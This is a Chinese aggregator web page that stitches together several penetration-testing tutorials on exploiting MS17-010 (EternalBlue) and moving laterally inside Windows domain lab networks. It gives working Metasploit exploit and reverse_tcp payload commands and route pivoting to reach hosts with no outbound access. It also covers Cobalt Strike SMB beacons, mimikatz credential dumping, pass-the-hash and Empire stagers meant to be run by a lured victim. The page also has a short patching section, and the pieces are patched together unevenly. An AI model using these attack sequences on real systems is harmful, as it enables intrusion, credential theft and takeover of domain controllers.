ms17010后渗透,MS08067漏洞

http://www.itjxue.com  2023-01-14 19:37  来源:未知  点击次数: 

内网渗透--对不出网目标的打法

配置网络

在VM虚拟机中按照下边的网络拓扑进行配置网络。网络拓扑图如下:

win7具有双网卡,其中外网ip是192.168.8.133,内网网段是52。三台机器彼此互通,但是win server 2008和win2003不通外网。用我mac作为攻击机,来对这个靶场环境进行渗透测试。

外网打点

在win7这台靶机上,使用PHPStudy让网站可以运行起来。在攻击机上,访问? ?可以看到是一个phpStudy 探针。对这网站进行渗透,因为本文主要写在内网渗透过程中对不出网主机的渗透,所以此处外网打点就不写的很详细了。

针对此靶场进行外网渗透拿权限大致有这几种方法:

通过phpmyadmin弱口令,进入phpmyadmin后台。然后知识点就变成了,通过phpmyadmin进行getshell,这个点又分为,得到网站绝对路径后,使用select into outfile的方式写shell和利用日志写shell。在此处,我是使用日志写shell的方法拿到权限。因为secure_file_priv配置为null,禁止修改目录下的文件,也就不能使用into outfile的方式写入shell。

通过目录扫描可以扫出beifen.rar,备份文件。在源码中可以找到登陆后台的账号密码:admin/123456和登陆路径/index.php?r=admin,在前台模板文件中添加一句话木马连接也可获取shell。

获得webshell的信息收集

通过外网打点获得的webshell,可以进行一波信息收集,摸清我是谁?我在哪?有没有内网环境?有没有杀软?通过拿到webshell后的信息收集的结果来评估一下有没有必要继续深入或者初步了解继续深入的话需要哪些手段。

我是谁?

蚁剑已经给出基础信息

我在哪?

使用ipconfig /all 看一下网络信息

目标有两个网卡,并且存在域环境,那么就有打它内网的必要了。

有没有杀软?

tasklist查看一下进程信息

根据进程查一下是否有杀软

目标没有使用杀软,还有域环境那么让它直接cs上线。

内网渗透

cs上线

内网信息收集

信息收集每个人都有自己的习惯,信息收集的顺序和信息收集的项目也都不太一样,只要根据自己的习惯和嗅觉,针对目标具体情况进行收集,以求尽快的拿下目标就好。信息收集的越全面突破口也就会越多,考虑到篇幅和文章内容匹配度等因素,此处并没有写出大量信息收集方法。

使用cs自带的net view查看域信息。

使用cs自带功能进行端口扫描,分别对8和52两个网段进行扫描进行完这两个步骤以后,cs会把扫到的目标列出来。

因为拿到的是管理员权限,可以先抓一波密码。用 cs 的 hashdump 读内存密码,用 mimikatz 读注册表密码:logonpasswords。

此处打码的地方是因为配置靶机登陆时靶机提示重置密码,我给靶机改了个包含个人信息的密码。蠢哭。拿到密码后,目标主机没有开启防火墙,可以使用cs自带的psexec做一波横向,因为抓到很多域中机器密码,域控密码也抓到了。

内网横向(通过登录凭证)

这个靶机设置的比较简单,抓到密码后,因为抓到了域控登陆的凭证,那么使用psexec即可横向内网所有机器。因为,另外两台内网的机器不出网,那么就到了本文着重练习的点了,打不出网的机器。

不出网机器上线一般有以下几种方式:

使用smb beacon

配置listener通过HTTP代理上线

使用pystinger搭建socks4代理

这几种方式之前有师傅也在先知写过 《不出网主机上线方法》 。此处我采用的SMB beacon这个方法。

SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB beacon相对隐蔽。SMB beacon不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。

首先得到内网中一台主机的beacon,抓取密码后进行smb喷射,得到另一台开放445端口的机器上的administrator账户密码,在目标机器不出网的情况下,可以使用Smb beacon使目标主机上线

使用条件

具有 SMB Beacon 的主机必须接受 445 端口上的连接。

只能链接由同一个 Cobalt Strike 实例管理的 Beacon。

利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

使用方法:

1.建立smb的listener

2.在cs中使用psexec进行横向移动,选择现有的beacon作为跳板,这里凭据必须是administrator ,即拥有目标主机管理员权限

3.连接成功,可以看到smb beacon上线的主机右侧有∞∞标识

使用这种方法上线的机器,主要是通过出网机作为一个中间人,不出网主机成功上线后,如果出网机一断开,这个不出网主机也会断。

内网横向(通过ms-17010)

在拿下win7的时候,可以给它传一个fscan,给win7做一个内网大保健。上传fscan后,运行扫一下内网。

发现存在ms17010。

ms17010常见的几种打法:

msf

ladon/ladon_ms17010

从msf分离出的exe

nessus里的exe

cs插件

这几种打法,我在这个环境中都做过尝试。过程就不一一叙述了,直接说我测试的结果。msf是最稳定的,但是打起来有稍许的麻烦因为要设置监听模块和选择攻击模块等配置。ladon_ms17010方便但是不太稳有时候会打不成功。cs插件也不稳,并且在这种不出网网络不稳定的情况下成功率会变的更低。

这个图片的ip可能跟上边配置符不起来,因为我在测试过程中,网断过几次,ip就变了。所以,在打的时候,如果ladon和分离出的exe没有打成,不要轻易放弃,用msf在打打试试,毕竟工具就是工具,不能过分依赖某个工具。

在这种不出网的情况下,可以优先考虑使用从msf分离出的exe和ladon_ms17010来打,打成功会直接通过自定义的dll新建一个用户并加入管理员组,开启3389端口。根据实际情况,可考虑在合适的时间段和条件下直接远程登入,翻一下敏感数据,往往会因为运维人员的很多“好习惯”而给渗透带来很多便利,比如说“密码本.txt”。

msf打不出网机器的ms17010

msf在单兵作战的时候还是很稳定很香的。首先,让出网机器先在msf上线,可以用cs直接传递会话,或者生成个msf马直接运行一下。在这的方法就很多了。win7在msf上线后,因为我们已经提前知道了,存在52这个不出网的段,那么就需要在msf中添加路由。

查看路由

run get_local_subnets

添加路由

run autoroute -s 192.168.52.0/24

查看添加的路由

run autoroute -p

把shell切换到后台,然后使用ms17010模块进行漏洞利用,监听时使用正向监听,即可

小贴士:

漏洞检测方法:

use auxiliary/scanner/smb/smb_ms17_010

之后设置一下目标ip和线程即可,这里因为已经扫出存在漏洞的机器了,也就不在叙述。

漏洞利用常使用的是:

auxiliary/admin/smb/ms17_010_command

exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms17_010_psexec

这里的第一个和第三个模块需要目标开启命名管道,并且比较稳定。第二个模块只要存在漏洞即可,但是会有概率把目标打蓝屏,而且杀软拦截也会比较严格,如果有杀软就基本可以放弃这个模块了。

在打ms17010的时候,不妨使用auxiliary/admin/smb/ms17_010_command模块探测一下是否可以使用命名管道。

use auxiliary/admin/smb/ms17_010_commandsetrhosts192.168.164.156192.168.164.161setcommandtasklistshow optionsrun

如果命令执行成功的话就可以优先考虑

auxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_psexec

这两个模块进行利用。

我在上边打得时候因为目标机器没有杀软就直接使用exploit/windows/smb/ms17_010_eternalblue来打了,期间为了测试打过多次,确实出现了把目标机器打重启的情况。

总结

这个靶场设计的技能点比较基础,外网打点获得shell后,直接可以通过cs上线,在管理员权限下,抓取密码,新建一个smb beacon然后使用psexec对内网两台不出网的机器进行横向。

用Powershell框架Empire进行内网域渗透(一)

自从powershell在windows开始预装之后,就成为Windows内网渗透的好帮手,好处多多:天生免杀、无文件落地、 无日志(雾) 。

于是老外开发了 empire 框架,毕竟 cobalt strike 要收费的不是?

功能模块丰富,老外把内网[域]渗透中能用到的都整合进去了:内网探测,提权,凭据获取,横向移动,权限维持。模块那么多,不懂就 searchmodule 或者[tab]两下。

基于 debian 系的,如kali或者ubuntu都可以安装。

git clone

在执行安装脚本之前,建议修改软件源和 pip 源,避免因为网络问题安装失败。

sudo ./setup/install.sh

安装好后执行 ./empire 后就可以用了。

先查看可用的 Listener 有哪些?[tab]两下就出来了所有可用的。

通过 info 查看指定模块的配置信息

这里还是先使用http的监听,通过 set Port 8080 修改监听的端口, 2.x版必须同时设置 Host ,然后 execute 启动监听。

通过list命令查看正在运行的监听

可以通过usestager来生成文件,引诱对方运行,可以看到支持linux、Windows、osx。

这里我们选用launcher_bat,通过 info 查看可以配置的参数。

这里需要注意的是Listener的Name,必须跟前面启用的Listener的一致。

生成的文件内容是这样子的

其中那么一大段的powershell命令,跟 (Empire: listeners) launcher powershell test 的执行结果是一样的。这里先不关心怎么让其在别的机子上运行,那是另外的技术活。

用win7的cmd执行了那一串命令后,进程中可以看到有powershell.exe

执行 agents 命令查看回连的机子,然后 interact BNR1T9ZC 来与之进行交互。

通过 help 命令可以查看到在agent上可以执行很多命令。这里挑些重要的讲。

bypassuac ,顾名思义就是绕过uac的。除非你是本机的administrator,否则普通管理员都需要右键某个程序,然后选择 run as administrator 才能运行,这都是uac作的怪。

因为这里是用普通域用户权限执行的,连本机的普通管理员都不算,所以失败了。

sc,屏幕截图命令,可以通过这个了解机子上的人正在做什么。

我们看看usemodule还有哪些可用的模块?(有些模块需要对应权限才能成功运行)

输入 help agentcmds 可以看到可供使用的常用命令

执行 ipconfig 查看网卡信息(如果不在help列表中,那么会自动执行远程主机上的可用命令)

可以看到dns的ip是1.1.1.10,既是域控的ip

当你获得一个会话之后,又想要派生更多会话,怎么办?

使用 invoke_shellcode 来注入 meterpreter 的shellcode

metasploit先要设置一个 listener

然后empire执行

成功获取meterpreter会话(才怪, empire2.5 版本)

在session1建立到1.1.1.0/24网段的路由跳转

run autoroute -s 1.1.1.0/24

通过sesesion1打通网段后,可以看到域控服务器1.1.1.10开放的端口

使用ms17010成功获取meterpreter会话。

至此,域控拿下,可以开始漫游内网。(还是得靠metasploit,单一个empire做的事情很有限)

获取域管理员的明文凭据

用后渗透模块 credential_collector 收集可用的凭据

empire 可以直接使用 mimikatz 来获取凭据。 注意,此时客户端上powershell进程占用的cpu可达90%,会引起卡顿

creds 查看获取的凭据

利用pth来传递hash,用这个hash创建一个新的进程,可以看到新的进程id是3032

然后 credentials/tokens 查看不同用户的进程id

对指定进程steal_token之后,再去与agent交互就是域用户user的权限了。

用revtoself再切换回原来的权限(普通域用户权限太低做不了什么)

到这里尝试了好几个 situational_awareness/network/powerview 的模块返回的都是空结果,看来是需要域管理员才能执行成功。

碰巧域管理员也登陆这台机子,那么就能用他的权限做很多事情了。

也可以使用 usemodule management/psinject 进行切换,设置好ProcessId即可

现在我们又获得了一次域管理员权限,可以开始横向移动了。

先内网探测下可用的机子有哪些,使用了 situational_awareness 中的三个模块:

find_localadmin_access user_hunter get_domain_controller

又一次可以确定1.1.1.10就是域控所在了。用 lateral_movement/invoke_psexec 移动到域控服务器上面。

终于又回到了域控服务器,接下来要考虑的是如何导出域控上面的所有hash,并且维持权限。

ms17010漏洞的简单利用

(第一次在发表文章,没啥经验,分享一些学习经验。大佬们多多包涵,也希望大家能够指出我的错误。)

靶机:windows7 x64? IP:192.168.1.5

攻击机:Kali Rolling (2019.3) x64 IP:192.168.1.3

两台主机在同一网段内;win7关闭防火墙并且开启445端口。

1、使用ipconfig/ifconfig分别查看win7和kali的ip。

2、打开msf工具

每次开启都会有不同的界面

3、使用search命令搜索ms17_010

4、选择模块和设置条件

使用use来选择第三个模块,可以直接 use 2,也可以打全

然后用set来设置靶机IP set rhost 192.168.1.5

设置本机IP set lhost 192.168.1.3

设置监听端口 set lport 8888 不设置则默认4444端口

设置payload set payload windows/x64/meterpreter/reverse_tcp

还有另外一个payload能用于本实验,具体可以 show payloads 查看

最后,可以使用show options检查所有信息

5、开始渗透 run

稍等片刻 看到win则成功创建会话

6、成功之后,可以开启Windows7的摄像头,截图等等

具体可以用help查看

1、关闭445端口

2、打开防火墙,安装安全软件

3、安装对应补丁,这里就不放链接了

关闭445端口的方法:

1)打开控制面板----Windows防火墙----高级设置

2)点击新建规则,设置端口号的规则并且命名(如图)

msf工具虽然强大,但只能用于已知的并且已提交模块的漏洞。要理解漏洞原理,理解如何使用漏洞,甚至自己挖洞才能做到真正的去攻击。而不是简单的使用工具use和set。

ms17010漏洞利用msf | 2019-03-27 ms070-

0x01 实验环境

攻击机:kali linux

ip:10.10.10.131

目标机:windows 2008 R2

ip:10.10.10.132

0x02 配置exploit

msf use exploit/windows/smb/ms17_010_eternalblue

msf exploit(ms17_010_eternalblue) set rhost 10.10.10.132

rhost = 10.10.10.132

查看选项

msf exploit(ms17_010_eternalblue) show options

设置目标机的IP,其他选项默认就可以;

注意:选项中说明了此exploit对应的目标系统,所以并不是具有该漏洞的系统都能利用此exploit;

0x03 配置payload

payload只需要配置监听返回会话的IP;

msf exploit(ms17_010_eternalblue) set payload windows/x64/meterpreter/reverse_tcp

payload = windows/x64/meterpreter/reverse_tcp

msf exploit(ms17_010_eternalblue) set lhost 10.10.10.131

lhost = 10.10.10.131

0x04 开始攻击

警告:攻击过程可能导致目标系统宕机重启,谨慎操作!

msf exploit(ms17_010_eternalblue) exploit

成功获得session。

shell 进入主机操作

ms17010漏洞利用windows什么服务

SMB服务。

微软的MS17-010中被修复是在Windows的SMB服务处理SMBv1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。

Windows操作系统是其中的佼佼者,也是美国微软公司推出的一款操作系统。该系统从1985年诞生到现在,经过多年的发展完善,相对比较成熟稳定,是当前个人计算机的主流操作系统。

内网渗透之ms17-010

在内网渗透时,通常挂上代理后。在内网首先会打啵ms17-010。在实战中,使用msf的ms17-010模块,数次没有反弹成功。基于此,到底如何成功利用ms17-010

在msf成功接收session之后,添加路由

然后使用ms17-010相关的模块进行探测是否存在该漏洞。

尝试利用

LHOST配置为公网IP

可以看到success。漏洞是可以利用的,但始终没有session。不知道什么原因。

参考资料: 利用公网Msf+MS17010跨网段攻击内网

笔者在本地搭建环境,也是同样的结果。尝试更改payload为

bind_tcp攻击者去连接,容易被防火墙和杀毒发现

可以成功生成session,但并不稳定,且在run的过程中非常容易导致本来的session died

在实际使用msf的ms17_010_eternalblue模块时,笔者观察到有几个弊端。

1.session 很容易died

2.ms17_010_eternalblue模块利用起来非常耗时

3.无法利用成功

有大佬推荐使用原始的fb.py。但配置起来感觉麻烦一些。

所以。笔者从i春秋上找到一个轻便的方程式漏洞利用工具。

参考资料: 萌新初试MS17-010方程式漏洞

工具使用起来很简单。只需要msfvenom生成一个x64或x86的dll文件,替换该工具下的x64.dll或x86.dll 。再依次点击Eternalblue、Doublepulsar 的Attack即可。在Attack的时候,调用x64.dll动态链接库,反弹到公网IP。原理和fb.py一样。

笔者通过ew代理进内网后,在跳板机上上传了方程式漏洞利用工具、网安永恒之蓝检测工具。两者结合,威力巨大。成功利用ms17-010

对于windows server 2008 ,msfvenom生成x64.dll文件

msf配置

将该x64.dll替换到方程式利用工具下面。

只需要更换目标的IP,就可以获取session。

对于windows server 2003 ,msfvenom生成x86.dll文件

msf配置

进一步利用的一些命令

实际测试发现这种session非常稳定。不会轻易go die

实际测试server 2003的ms17-010时,有时候多次执行后msf就接收不到session,而且ms17-010利用时,脆弱的server 2003非常容易蓝屏。

所以笔者选择一种稳定可靠一些的办法。

先通过ms17_010_commend模块执行系统命令添加用户至管理员。再指定SMBPass和SMBUser来建立windows可访问命名管道[accessible named pipe]

参考资料 Metasploit 「永恒之蓝」两种模块的利弊

system的权限可以直接激活guest用户添加管理员组。

注意:使用ms17_010_psexec需要指定管理员的用户名、密码,否则没有session

同样的操作,载入mimikatz,读取管理员密码。

(责任编辑:IT教学网)

更多

推荐Oracle文章